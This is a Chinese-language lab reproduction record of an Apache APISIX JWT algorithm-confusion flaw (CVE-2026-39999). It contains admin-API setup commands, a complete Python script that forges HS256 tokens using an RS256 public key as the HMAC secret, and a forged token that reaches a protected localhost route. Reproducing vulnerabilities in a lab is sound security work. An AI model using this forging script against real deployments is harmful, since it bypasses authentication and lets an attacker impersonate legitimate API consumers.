CVE-2026-39999复现记录
影响版本:
Apache APISIX: from v2.2 through v3.16.0.
漏洞原理:
服务器根据客户端传入的alg来选择密码验证算法。导致但一个本该被rs256签名验证的用户jwt被以hs256方式校验,服务端会取本该作为rs256公钥的key进行验证,而公钥攻击方已知,导致可以伪造jwt。
复现流程:
docker配置:详细略
etcd-vuln:bitnamilegacy/etcd:3.6apisix-vuln:apache/apisix:3.16.0-debianupstream:nginx:1.27-alpine
创建一个 RS256 Consumer:
命令行:
curl.exe -X PUT "http://127.0.0.1:19180/apisix/admin/consumers" ^
-H "X-API-KEY: lab-admin-vuln" ^
-H "Content-Type: application/json" ^
-d "{"username":"manual_rs256_consumer","plugins":{"jwt-auth":{"key":"user-key-rs256","algorithm":"RS256","public_key":"-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA79XYBopfnVMKxI533oU2nVFQbEdSPtWRD+xSl73lHLVboGP1lSIZtnEj5AcTN2uDW6AYPiWL2iA3lEEsDTs7JnBUXyl6pysBPfrqC8n/MOXKaD4e8U5GAHFiwHWg2WzHlfFSlFkLjzp0vPkDK+fQ4Cnlrd7shAyitB7use6DHcVCKuI4bFOoFbdI5sBGeyoD833g+ql9bRkH/vf8O+rPwHAnM+47r1iv3lY3ex0P45PRd7U7rq8P8UIw6qOI1tiYuKlFJmjFdcwtYG0dctxWwgL1n+7njrVQoWvuOTSsc9TDMhZkmmSsU3wXjaPxJpydck1C/w9ZLqsctKK5swYWhIcbcnBQIDAQABn-----END PUBLIC KEY-----"}}}"
创建需要jwt验证的受保护路由:
命令行:
curl.exe -X PUT "http://127.0.0.1:19180/apisix/admin/routes/1" ^
-H "X-API-KEY: lab-admin-vuln" ^
-H "Content-Type: application/json" ^
-d "{"plugins":{"jwt-auth":{}},"upstream":{"nodes":{"upstream:80":1},"type":"roundrobin"},"uri":"/hello"}"
生成伪造 token:
脚本:
import argparse
import base64
import hashlib
import hmac
import json
import time
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def encode_json(obj: dict) -> bytes:
return json.dumps(obj, separators=(",", ":"), sort_keys=True).encode()
def forge_hs256_with_public_key(public_key_text: str, consumer_key: str, expires_in: int) -> str:
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"exp": now + expires_in,
"key": consumer_key,
"nbf": now - 60,
}
signing_input = f"{b64url(encode_json(header))}.{b64url(encode_json(payload))}"
signature = hmac.new(
public_key_text.encode(),
signing_input.encode(),
hashlib.sha256,
).digest()
return f"{signing_input}.{b64url(signature)}"
def main() -> None:
parser = argparse.ArgumentParser(
description="Forge an HS256 JWT using an APISIX RS256 consumer's public key as the HMAC secret.",
)
parser.add_argument(
"--public-key",
default="../keys/public.pem",
help="Path to the public key PEM file",
)
parser.add_argument(
"--consumer-key",
default="user-key-rs256",
help="The JWT payload 'key' claim expected by the APISIX consumer",
)
parser.add_argument(
"--expires-in",
type=int,
default=3600,
help="Token lifetime in seconds",
)
args = parser.parse_args()
with open(args.public_key, "r", encoding="utf-8") as fh:
public_key_text = fh.read()
token = forge_hs256_with_public_key(public_key_text, args.consumer_key, args.expires_in)
print(token)
if __name__ == "__main__":
main()
直接在线工具解也行
命令行:
python .manualforge_jwt.py --public-key .keyspublic.pem --consumer-key user-key-rs256
参数讲解:.keyspublic.pem为使用的key,user-key-rs256为将要伪造的用户的标识,服务端根据这个查找该用哪个用户的密钥。
访问鉴权页面:
命令行:
curl.exe "http://127.0.0.1:19080/hello?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODQ3MjY1NzEsImtleSI6InVzZXIta2V5LXJzMjU2IiwibmJmIjoxNzg0NzIyOTExfQ.bFh-LQgG8xNupOal0BgkFPOfUPcu5Qz_SRLE15fId7Y"
复现成功:
{"message":"lab upstream reached","service":"nginx"}